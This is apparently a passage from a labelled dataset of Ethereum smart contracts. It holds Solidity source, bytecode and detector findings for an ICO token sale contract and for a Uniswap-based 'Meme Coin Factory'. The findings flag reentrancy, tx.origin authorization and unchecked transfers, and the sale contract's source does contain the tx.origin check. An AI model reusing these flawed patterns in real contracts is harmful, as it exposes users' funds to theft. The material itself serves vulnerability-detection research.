* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract tokenInterface {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract rateInterface {
function readRate(string _currency) public view returns (uint256 oneEtherValue);
}
contract ICOEngineInterface {
// false if the ico is not started, true if the ico is started and running, true if the ico is completed
function started() public view returns(bool);
// false if the ico is not started, false if the ico is started and running, true if the ico is completed
function ended() public view returns(bool);
// time stamp of the starting time of the ico, must return 0 if it depends on the block number
function startTime() public view returns(uint);
// time stamp of the ending time of the ico, must retrun 0 if it depends on the block number
function endTime() public view returns(uint);
// Optional function, can be implemented in place of startTime
// Returns the starting block number of the ico, must return 0 if it depends on the time stamp
// function startBlock() public view returns(uint);
// Optional function, can be implemented in place of endTime
// Returns theending block number of the ico, must retrun 0 if it depends on the time stamp
// function endBlock() public view returns(uint);
// returns the total number of the tokens available for the sale, must not change when the ico is started
function totalTokens() public view returns(uint);
// returns the number of the tokens available for the ico. At the moment that the ico starts it must be equal to totalTokens(),
// then it will decrease. It is used to calculate the percentage of sold tokens as remainingTokens() / totalTokens()
function remainingTokens() public view returns(uint);
// return the price as number of tokens released for each ether
function price() public view returns(uint);
}
contract KYCBase {
using SafeMath for uint256;
mapping (address => bool) public isKycSigner;
mapping (uint64 => uint256) public alreadyPayed;
event KycVerified(address indexed signer, address buyerAddress, uint64 buyerId, uint maxAmount);
function KYCBase(address [] kycSigners) internal {
for (uint i = 0; i < kycSigners.length; i++) {
isKycSigner[kycSigners[i]] = true;
}
}
// Must be implemented in descending contract to assign tokens to the buyers. Called after the KYC verification is passed
function releaseTokensTo(address buyer) internal returns(bool);
// This method can be overridden to enable some sender to buy token for a different address
function senderAllowedFor(address buyer)
internal view returns(bool)
{
return buyer == msg.sender;
}
function buyTokensFor(address buyerAddress, uint64 buyerId, uint maxAmount, uint8 v, bytes32 r, bytes32 s)
public payable returns (bool)
{
require(senderAllowedFor(buyerAddress));
return buyImplementation(buyerAddress, buyerId, maxAmount, v, r, s);
}
function buyTokens(uint64 buyerId, uint maxAmount, uint8 v, bytes32 r, bytes32 s)
public payable returns (bool)
{
return buyImplementation(msg.sender, buyerId, maxAmount, v, r, s);
}
function buyImplementation(address buyerAddress, uint64 buyerId, uint maxAmount, uint8 v, bytes32 r, bytes32 s)
private returns (bool)
{
// check the signature
bytes32 hash = sha256("Eidoo icoengine authorization", this, buyerAddress, buyerId, maxAmount);
address signer = ecrecover(hash, v, r, s);
if (!isKycSigner[signer]) {
revert();
} else {
uint256 totalPayed = alreadyPayed[buyerId].add(msg.value);
require(totalPayed <= maxAmount);
alreadyPayed[buyerId] = totalPayed;
emit KycVerified(signer, buyerAddress, buyerId, maxAmount);
return releaseTokensTo(buyerAddress);
}
}
}
contract RC is ICOEngineInterface, KYCBase {
using SafeMath for uint256;
TokenSale tokenSaleContract;
uint256 public startTime;
uint256 public endTime;
uint256 public soldTokens;
uint256 public remainingTokens;
uint256 public oneTokenInUsdWei;
mapping(address => uint256) public balanceUser; // address => token amount
uint256[] public tokenThreshold; // array of token threshold reached in wei of token
uint256[] public bonusThreshold; // array of bonus of each tokenThreshold reached - 20% = 20
function RC(address _tokenSaleContract, uint256 _oneTokenInUsdWei, uint256 _remainingTokens, uint256 _startTime , uint256 _endTime, address [] kycSigner, uint256[] _tokenThreshold, uint256[] _bonusThreshold ) public KYCBase(kycSigner) {
require ( _tokenSaleContract != 0 );
require ( _oneTokenInUsdWei != 0 );
require( _remainingTokens != 0 );
require ( _tokenThreshold.length != 0 );
require ( _tokenThreshold.length == _bonusThreshold.length );
bonusThreshold = _bonusThreshold;
tokenThreshold = _tokenThreshold;
tokenSaleContract = TokenSale(_tokenSaleContract);
tokenSaleContract.addMeByRC();
soldTokens = 0;
remainingTokens = _remainingTokens;
oneTokenInUsdWei = _oneTokenInUsdWei;
setTimeRC( _startTime, _endTime );
}
function setTimeRC(uint256 _startTime, uint256 _endTime ) internal {
if( _startTime == 0 ) {
startTime = tokenSaleContract.startTime();
} else {
startTime = _startTime;
}
if( _endTime == 0 ) {
endTime = tokenSaleContract.endTime();
} else {
endTime = _endTime;
}
}
modifier onlyTokenSaleOwner() {
require(msg.sender == tokenSaleContract.owner() );
_;
}
function setTime(uint256 _newStart, uint256 _newEnd) public onlyTokenSaleOwner {
if ( _newStart != 0 ) startTime = _newStart;
if ( _newEnd != 0 ) endTime = _newEnd;
}
event BuyRC(address indexed buyer, bytes trackID, uint256 value, uint256 soldToken, uint256 valueTokenInUsdWei );
function releaseTokensTo(address buyer) internal returns(bool) {
require( now > startTime );
require( now < endTime );
//require( msg.value >= 1*10**18); //1 Ether
require( remainingTokens > 0 );
uint256 tokenAmount = tokenSaleContract.buyFromRC.value(msg.value)(buyer, oneTokenInUsdWei, remainingTokens);
balanceUser[msg.sender] = balanceUser[msg.sender].add(tokenAmount);
remainingTokens = remainingTokens.sub(tokenAmount);
soldTokens = soldTokens.add(tokenAmount);
emit BuyRC( msg.sender, msg.data, msg.value, tokenAmount, oneTokenInUsdWei );
return true;
}
function started() public view returns(bool) {
return now > startTime || remainingTokens == 0;
}
function ended() public view returns(bool) {
return now > endTime || remainingTokens == 0;
}
function startTime() public view returns(uint) {
return startTime;
}
function endTime() public view returns(uint) {
return endTime;
}
function totalTokens() public view returns(uint) {
return remainingTokens.add(soldTokens);
}
function remainingTokens() public view returns(uint) {
return remainingTokens;
}
function price() public view returns(uint) {
uint256 oneEther = 10**18;
return oneEther.mul(10**18).div( tokenSaleContract.tokenValueInEther(oneTokenInUsdWei) );
}
function () public {
require( now > endTime );
require( balanceUser[msg.sender] > 0 );
uint256 bonusApplied = 0;
for (uint i = 0; i < tokenThreshold.length; i++) {
if ( soldTokens > tokenThreshold[i] ) {
bonusApplied = bonusThreshold[i];
}
}
require( bonusApplied > 0 );
uint256 addTokenAmount = balanceUser[msg.sender].mul( bonusApplied ).div(10**2);
balanceUser[msg.sender] = 0;
tokenSaleContract.claim(msg.sender, addTokenAmount);
}
}
contract TokenSale is Ownable {
using SafeMath for uint256;
tokenInterface public tokenContract;
rateInterface public rateContract;
address public wallet;
address public advisor;
uint256 public advisorFee; // 1 = 0,1%
uint256 public constant decimals = 18;
uint256 public endTime; // seconds from 1970-01-01T00:00:00Z
uint256 public startTime; // seconds from 1970-01-01T00:00:00Z
mapping(address => bool) public rc;
function TokenSale(address _tokenAddress, address _rateAddress, uint256 _startTime, uint256 _endTime) public {
tokenContract = tokenInterface(_tokenAddress);
rateContract = rateInterface(_rateAddress);
setTime(_startTime, _endTime);
wallet = msg.sender;
advisor = msg.sender;
advisorFee = 0 * 10**3;
}
function tokenValueInEther(uint256 _oneTokenInUsdWei) public view returns(uint256 tknValue) {
uint256 oneEtherInUsd = rateContract.readRate("usd");
tknValue = _oneTokenInUsdWei.mul(10 ** uint256(decimals)).div(oneEtherInUsd);
return tknValue;
}
modifier isBuyable() {
require( now > startTime ); // check if started
require( now < endTime ); // check if ended
require( msg.value > 0 );
uint256 remainingTokens = tokenContract.balanceOf(this);
require( remainingTokens > 0 ); // Check if there are any remaining tokens
_;
}
event Buy(address buyer, uint256 value, address indexed ambassador);
modifier onlyRC() {
require( rc[msg.sender] ); //check if is an authorized rcContract
_;
}
function buyFromRC(address _buyer, uint256 _rcTokenValue, uint256 _remainingTokens) onlyRC isBuyable public payable returns(uint256) {
uint256 oneToken = 10 ** uint256(decimals);
uint256 tokenValue = tokenValueInEther(_rcTokenValue);
uint256 tokenAmount = msg.value.mul(oneToken).div(tokenValue);
address _ambassador = msg.sender;
uint256 remainingTokens = tokenContract.balanceOf(this);
if ( _remainingTokens < remainingTokens ) {
remainingTokens = _remainingTokens;
}
if ( remainingTokens < tokenAmount ) {
uint256 refund = (tokenAmount - remainingTokens).mul(tokenValue).div(oneToken);
tokenAmount = remainingTokens;
forward(msg.value-refund);
remainingTokens = 0; // set remaining token to 0
_buyer.transfer(refund);
} else {
remainingTokens = remainingTokens.sub(tokenAmount); // update remaining token without bonus
forward(msg.value);
}
tokenContract.transfer(_buyer, tokenAmount);
emit Buy(_buyer, tokenAmount, _ambassador);
return tokenAmount;
}
function forward(uint256 _amount) internal {
uint256 advisorAmount = _amount.mul(advisorFee).div(10**3);
uint256 walletAmount = _amount - advisorAmount;
advisor.transfer(advisorAmount);
wallet.transfer(walletAmount);
}
event NewRC(address contr);
function addMeByRC() public {
require(tx.origin == owner);
rc[ msg.sender ] = true;
emit NewRC(msg.sender);
}
function setTime(uint256 _newStart, uint256 _newEnd) public onlyOwner {
if ( _newStart != 0 ) startTime = _newStart;
if ( _newEnd != 0 ) endTime = _newEnd;
}
function withdraw(address to, uint256 value) public onlyOwner {
to.transfer(value);
}
function withdrawTokens(address to, uint256 value) public onlyOwner returns (bool) {
return tokenContract.transfer(to, value);
}
function setTokenContract(address _tokenContract) public onlyOwner {
tokenContract = tokenInterface(_tokenContract);
}
function setWalletAddress(address _wallet) public onlyOwner {
wallet = _wallet;
}
function setAdvisorAddress(address _advisor) public onlyOwner {
advisor = _advisor;
}
function setAdvisorFee(uint256 _advisorFee) public onlyOwner {
advisorFee = _advisorFee;
}
function setRateContract(address _rateAddress) public onlyOwner {
rateContract = rateInterface(_rateAddress);
}
function claim(address _buyer, uint256 _amount) onlyRC public returns(bool) {
return tokenContract.transfer(_buyer, _amount);
}
function () public payable {
revert();
}
}
|
0x6060604052600436106100d75763ffffffff60e060020a6000350416630570d568811461024f57806312fa6feb146102825780631f2698ab146102955780633197cbb6146102a85780635ed9ebfc146102cd57806378e97925146102e05780637e1c0c09146102f35780639a359d8e14610306578063a0355eca14610326578063a035b1fe14610341578063a6f8fd1314610354578063ae4578351461036a578063bb9dea041461039a578063bf583903146103b0578063c0a99a83146103c3578063dee4b246146103d6578063f5eb8890146103fa575b34156100e257600080fd5b6000806000600454421115156100f757600080fd5b600160a060020a0333166000908152600860205260408120541161011a57600080fd5b60009250600091505b60095482101561017857600980548390811061013b57fe5b906000526020600020900154600554111561016d57600a80548390811061015e57fe5b90600052602060002090015492505b600190910190610123565b6000831161018557600080fd5b600160a060020a0333166000908152600860205260409020546101c1906064906101b5908663ffffffff61041916565b9063ffffffff61044416565b33600160a060020a038181166000908152600860205260408082209190915560025493945092169163aad3ec96919084905160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561023357600080fd5b5af1151561024057600080fd5b50505060405180515050505050005b341561025a57600080fd5b61026e600160a060020a036004351661045b565b604051901515815260200160405180910390f35b341561028d57600080fd5b61026e610470565b34156102a057600080fd5b61026e610487565b34156102b357600080fd5b6102bb61049c565b60405190815260200160405180910390f35b34156102d857600080fd5b6102bb6104a2565b34156102eb57600080fd5b6102bb6104a8565b34156102fe57600080fd5b6102bb6104ae565b341561031157600080fd5b6102bb67ffffffffffffffff600435166104c7565b341561033157600080fd5b61033f6004356024356104d9565b005b341561034c57600080fd5b6102bb61056a565b341561035f57600080fd5b6102bb6004356105fc565b61026e600160a060020a036004351667ffffffffffffffff6024351660443560ff6064351660843560a43561061b565b34156103a557600080fd5b6102bb60043561064a565b34156103bb57600080fd5b6102bb610658565b34156103ce57600080fd5b6102bb61065e565b61026e67ffffffffffffffff6004351660243560ff60443516606435608435610664565b341561040557600080fd5b6102bb600160a060020a036004351661067e565b6000828202831580610435575082848281151561043257fe5b04145b151561043d57fe5b9392505050565b600080828481151561045257fe5b04949350505050565b60006020819052908152604090205460ff1681565b60006004544211806104825750600654155b905090565b60006003544211806104825750506006541590565b60045490565b60055481565b60035490565b600061048260055460065461069090919063ffffffff16565b60016020526000908152604090205481565b600254600160a060020a0316638da5cb5b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561051857600080fd5b5af1151561052557600080fd5b50505060405180519050600160a060020a031633600160a060020a031614151561054e57600080fd5b811561055a5760038290555b80156105665760048190555b5050565b600254600754600091670de0b6b3a7640000916105f691600160a060020a031690637b4139859060405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b15156105c757600080fd5b5af115156105d457600080fd5b505050604051805190506101b583670de0b6b3a764000063ffffffff61041916565b91505090565b600980548290811061060a57fe5b600091825260209091200154905081565b60006106268761069f565b151561063157600080fd5b61063f8787878787876106b1565b979650505050505050565b600a80548290811061060a57fe5b60065490565b60075481565b60006106743387878787876106b1565b9695505050505050565b60086020526000908152604090205481565b60008282018381101561043d57fe5b33600160a060020a0390811691161490565b6000806000806002308b8b8b6040517f4569646f6f2069636f656e67696e6520617574686f72697a6174696f6e0000008152600160a060020a039485166c01000000000000000000000000908102601d83015293909416909202603184015267ffffffffffffffff167801000000000000000000000000000000000000000000000000026045830152604d820152606d016020604051808303816000865af1151561075b57600080fd5b50506040518051905092506001838888886040516000815260200160405260405193845260ff9092166020808501919091526040808501929092526060840192909252608090920191516020810390808403906000865af115156107be57600080fd5b505060206040510351600160a060020a03811660009081526020819052604090205490925060ff1615156107f157600080fd5b67ffffffffffffffff891660009081526001602052604090205461081b903463ffffffff61069016565b90508781111561082a57600080fd5b67ffffffffffffffff891660009081526001602052604090819020829055600160a060020a038316907f74e336db80b339721548db3209451cf01bd48e4a996e1bcea7f1a2abf8b06070908c908c908c9051600160a060020a03909316835267ffffffffffffffff90911660208301526040808301919091526060909101905180910390a26108b88a6108c6565b9a9950505050505050505050565b600080600354421115156108d957600080fd5b60045442106108e757600080fd5b600654600090116108f757600080fd5b600254600754600654600160a060020a0390921691634769ed8f91349187919060405160e060020a63ffffffff8716028152600160a060020a039093166004840152602483019190915260448201526064016020604051808303818588803b151561096157600080fd5b5af1151561096e57600080fd5b505050506040518051600160a060020a0333166000908152600860205260409020549092506109a491508263ffffffff61069016565b600160a060020a0333166000908152600860205260409020556006546109d0908263ffffffff610a6a16565b6006556005546109e6908263ffffffff61069016565b60058190555033600160a060020a03167f99d83b77a8a0fbdd924ad497f587bec4b963b71e8925e31a2baed1fbce2a16526000363485600754604051602081018490526040810183905260608101829052608080825281018590528060a081018787808284378201915050965050505050505060405180910390a250600192915050565b600082821115610a7657fe5b50900390565b811515610ae057600254600160a060020a03166378e979256040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610ac257600080fd5b5af11515610acf57600080fd5b505050604051805160035550610ae6565b60038290555b801515610b4a57600254600160a060020a0316633197cbb66040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610b2c57600080fd5b5af11515610b3957600080fd5b505050604051805160045550610566565b600455505600a165627a7a72305820ed914c75619db4942b316ee24002aa76f4d1db9f1391fd26be8d7b54b6746ac00029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,147 |
0x4ae5cfe393e51c0f0b7876427d378213049f518a
|
/**
*Submitted for verification at Etherscan.io on 2021-04-30
*/
//https://www.reddit.com/r/Meme_Coin_Factory/comments/n1od6m/millie_monka_and_the_meme_coin_factory/
///SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
/*
_____
\/,---<
( )a a( YOU STOLE FIZZY LIFTING DRINKS!!!
C >/
\ ~/ BUT THE D.A. MISHANDLED THE EVIDENCE,
,- >o<-. SO HERE'S THE KEYS TO MY FUDGE FACTORY
/ \/ \
/ /| | |\ \ _
\ \| | | \ `---/_)
\_\_ | | `----\_O-
/_/____|
| | |
| | |
| | | ____
|__|_|_ &&& x_ \_,-------.___ |
Stef00 (____)_) &&&& x__*_\\._/__--_-_\-._/_
Image found here: http://www.asciiartfarts.com/20121102.html
My name is Millie Monka
I love Meme Coins
And also you do
So I decided to open the doors of my Meme Coin Factory to you
Every 35 hours you can create a meme coin sending at least 1 ETH
you can choose name, symbol, and total supply
Meme Coin will be created and 99.98% of the total supply will be stored in a pool on UniswapV2 using eth you provided
remaining 0.02% of the Meme Coin total supply will be sent to Meme Coin creator so they can be swapped in future to have back creation fees
Resulting liquidity pool token will be held by the Meme Coin itself
the first burning 65% of the Meme Coin total supply will extract 60% of the pool
All Meme Coins removed from the pool will be burned
40% of removed eth will be sent to who burned tokens
47% of removed eth will be sent back to pool
remaining removed eth will be sent as Factory's fees
The remaining balance of liquidity pool token will be locked inside the Meme Coin forever
In Factory:
you have create(string memory name, string memory symbol, uint256 totalSupplyPlain) method to create a new Meme Coin. The amount is expressed in the decimal format so you DON'T HAVE TO multiply it for 1e18, Meme Coin will directly do it for you.
you have memeCoins() method to retrieve all Meme Coins in order of creation, including latest one
you have lastMemeCoin() method to retrieve the last Meme Coin only
you have nextCreationBlock() method to know when the next Meme Coin can be created
you have canBeCreated() method returning if nextCreationBlock reached and new Meme Coin can be created
In every Meme Coin:
you have the burn() method which will do all burn stuff descrived above for you
you have burnt() method to check if the 65% of total supply was already burnt or not
You can build a Telegram bot or fork the Uniswap frontend to easily use the Meme Coins
Hope you will enjoy my Meme Coin Factory,
I will do.
Yours,
Millie
*/
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
}
interface IUniswapLiquidityPool {
function balanceOf(address account) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function sync() external;
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface WETHToken {
function deposit() external payable;
function transfer(address dst, uint wad) external returns (bool);
}
contract MemeCoin {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
IUniswapV2Router private UNISWAP;
address private _millie;
bool public burnt;
constructor(IUniswapV2Router uniswap, string memory _name, string memory _symbol, uint256 _totalSupply, address millie) {
UNISWAP = uniswap;
name = _name;
symbol = _symbol;
_millie = millie;
_mint(msg.sender, _totalSupply);
}
receive() external payable {
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][msg.sender];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, msg.sender, currentAllowance - amount);
return true;
}
function burn() public {
require(!burnt);
_burn(msg.sender, (totalSupply * 65) / 100);
burnt = true;
WETHToken weth = WETHToken(UNISWAP.WETH());
IUniswapLiquidityPool liquidityPool = IUniswapLiquidityPool(IUniswapV2Factory(UNISWAP.factory()).getPair(address(weth), address(this)));
uint256 poolBalance = (liquidityPool.balanceOf(address(this)) * 60) / 100;
liquidityPool.approve(address(UNISWAP), poolBalance);
(uint256 tokens, uint256 eths) = UNISWAP.removeLiquidityETH(address(this), poolBalance, 1, 1, address(this), block.timestamp + 1000000);
_burn(address(this), tokens);
poolBalance = eths;
payable(msg.sender).transfer(tokens = (eths * 40) / 100);
poolBalance -= tokens;
weth.deposit{value : tokens = (eths * 47) / 100}();
weth.transfer(address(liquidityPool), tokens);
liquidityPool.sync();
poolBalance -= tokens;
payable(_millie).transfer(poolBalance);
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract MemeCoinFactory {
uint256 private constant BLOCK_INTERVAL = 9333;
IUniswapV2Router private constant UNISWAP = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address private _millie = msg.sender;
address[] private _memeCoins;
uint256 private _lastMemeCoinCreation;
function memeCoins() public view returns (address[] memory){
return _memeCoins;
}
function lastMemeCoin() public view returns (address) {
return _memeCoins[_memeCoins.length - 1];
}
function nextCreationBlock() public view returns (uint256) {
return _lastMemeCoinCreation == 0 ? block.number : _lastMemeCoinCreation + BLOCK_INTERVAL;
}
function canBeCreated() public view returns (bool) {
return _lastMemeCoinCreation == 0 ? true : block.number >= nextCreationBlock();
}
function create(string calldata name, string calldata symbol, uint256 totalSupplyPlain) public payable {
require(canBeCreated());
require(msg.value >= 1e18);
_lastMemeCoinCreation = block.number;
uint256 totalSupply = totalSupplyPlain * 1e18;
MemeCoin newMemeCoin = new MemeCoin(UNISWAP, name, symbol, totalSupply, _millie);
_memeCoins.push(address(newMemeCoin));
uint256 senderBalance = (totalSupply * 2) / 10000;
newMemeCoin.transfer(msg.sender, senderBalance);
totalSupply -= senderBalance;
newMemeCoin.approve(address(UNISWAP), totalSupply);
UNISWAP.addLiquidityETH{value : msg.value}(address(newMemeCoin), totalSupply, 1, 1, address(newMemeCoin), block.timestamp + 100000000);
}
}
|
0x6080604052600436106100a05760003560e01c806344df8e701161006457806344df8e701461017757806370a082311461018e57806395d89b41146101c4578063a9059cbb146101d9578063b192da2d146101f9578063dd62ed3e1461021a57600080fd5b806306fdde03146100ac578063095ea7b3146100d757806318160ddd1461010757806323b872dd1461012b578063313ce5671461014b57600080fd5b366100a757005b600080fd5b3480156100b857600080fd5b506100c1610260565b6040516100ce9190610f14565b60405180910390f35b3480156100e357600080fd5b506100f76100f2366004610e8e565b6102ee565b60405190151581526020016100ce565b34801561011357600080fd5b5061011d60055481565b6040519081526020016100ce565b34801561013757600080fd5b506100f7610146366004610e4e565b610304565b34801561015757600080fd5b506004546101659060ff1681565b60405160ff90911681526020016100ce565b34801561018357600080fd5b5061018c6103ba565b005b34801561019a57600080fd5b5061011d6101a9366004610dd7565b6001600160a01b031660009081526020819052604090205490565b3480156101d057600080fd5b506100c1610971565b3480156101e557600080fd5b506100f76101f4366004610e8e565b61097e565b34801561020557600080fd5b506007546100f790600160a01b900460ff1681565b34801561022657600080fd5b5061011d610235366004610e16565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6002805461026d90610fd5565b80601f016020809104026020016040519081016040528092919081815260200182805461029990610fd5565b80156102e65780601f106102bb576101008083540402835291602001916102e6565b820191906000526020600020905b8154815290600101906020018083116102c957829003601f168201915b505050505081565b60006102fb33848461098b565b50600192915050565b6000610311848484610ab0565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561039b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103af85336103aa8685610fbe565b61098b565b506001949350505050565b600754600160a01b900460ff16156103d157600080fd5b6103f533606460055460416103e69190610f9f565b6103f09190610f7f565b610c88565b6007805460ff60a01b1916600160a01b179055600654604080516315ab88c960e31b815290516000926001600160a01b03169163ad5c4648916004808301926020929190829003018186803b15801561044d57600080fd5b505afa158015610461573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104859190610dfa565b90506000600660009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156104d757600080fd5b505afa1580156104eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061050f9190610dfa565b60405163e6a4390560e01b81526001600160a01b038481166004830152306024830152919091169063e6a439059060440160206040518083038186803b15801561055857600080fd5b505afa15801561056c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105909190610dfa565b6040516370a0823160e01b81523060048201529091506000906064906001600160a01b038416906370a082319060240160206040518083038186803b1580156105d857600080fd5b505afa1580156105ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106109190610ed9565b61061b90603c610f9f565b6106259190610f7f565b60065460405163095ea7b360e01b81526001600160a01b0391821660048201526024810183905291925083169063095ea7b390604401602060405180830381600087803b15801561067557600080fd5b505af1158015610689573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ad9190610eb9565b5060065460009081906001600160a01b03166302751cec3085600180836106d742620f4240610f67565b60405160e088901b6001600160e01b03191681526001600160a01b039687166004820152602481019590955260448501939093526064840191909152909216608482015260a481019190915260c4016040805180830381600087803b15801561073f57600080fd5b505af1158015610753573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107779190610ef1565b915091506107853083610c88565b915081336108fc6064610799846028610f9f565b6107a39190610f7f565b9350839081150290604051600060405180830381858888f193505050501580156107d1573d6000803e3d6000fd5b506107dc8284610fbe565b92506001600160a01b03851663d0e30db060646107fa84602f610f9f565b6108049190610f7f565b9350836040518263ffffffff1660e01b81526004016000604051808303818588803b15801561083257600080fd5b505af1158015610846573d6000803e3d6000fd5b505060405163a9059cbb60e01b81526001600160a01b038881166004830152602482018790528916935063a9059cbb92506044019050602060405180830381600087803b15801561089657600080fd5b505af11580156108aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ce9190610eb9565b50836001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561090a57600080fd5b505af115801561091e573d6000803e3d6000fd5b50505050818361092e9190610fbe565b6007546040519194506001600160a01b03169084156108fc029085906000818181858888f19350505050158015610969573d6000803e3d6000fd5b505050505050565b6003805461026d90610fd5565b60006102fb338484610ab0565b6001600160a01b0383166109ed5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610392565b6001600160a01b038216610a4e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610392565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b145760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610392565b6001600160a01b038216610b765760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610392565b6001600160a01b03831660009081526020819052604090205481811015610bee5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610392565b610bf88282610fbe565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290610c2e908490610f67565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c7a91815260200190565b60405180910390a350505050565b6001600160a01b038216610ce85760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610392565b6001600160a01b03821660009081526020819052604090205481811015610d5c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610392565b610d668282610fbe565b6001600160a01b03841660009081526020819052604081209190915560058054849290610d94908490610fbe565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001610aa3565b600060208284031215610de8578081fd5b8135610df381611026565b9392505050565b600060208284031215610e0b578081fd5b8151610df381611026565b60008060408385031215610e28578081fd5b8235610e3381611026565b91506020830135610e4381611026565b809150509250929050565b600080600060608486031215610e62578081fd5b8335610e6d81611026565b92506020840135610e7d81611026565b929592945050506040919091013590565b60008060408385031215610ea0578182fd5b8235610eab81611026565b946020939093013593505050565b600060208284031215610eca578081fd5b81518015158114610df3578182fd5b600060208284031215610eea578081fd5b5051919050565b60008060408385031215610f03578182fd5b505080516020909101519092909150565b6000602080835283518082850152825b81811015610f4057858101830151858201604001528201610f24565b81811115610f515783604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610f7a57610f7a611010565b500190565b600082610f9a57634e487b7160e01b81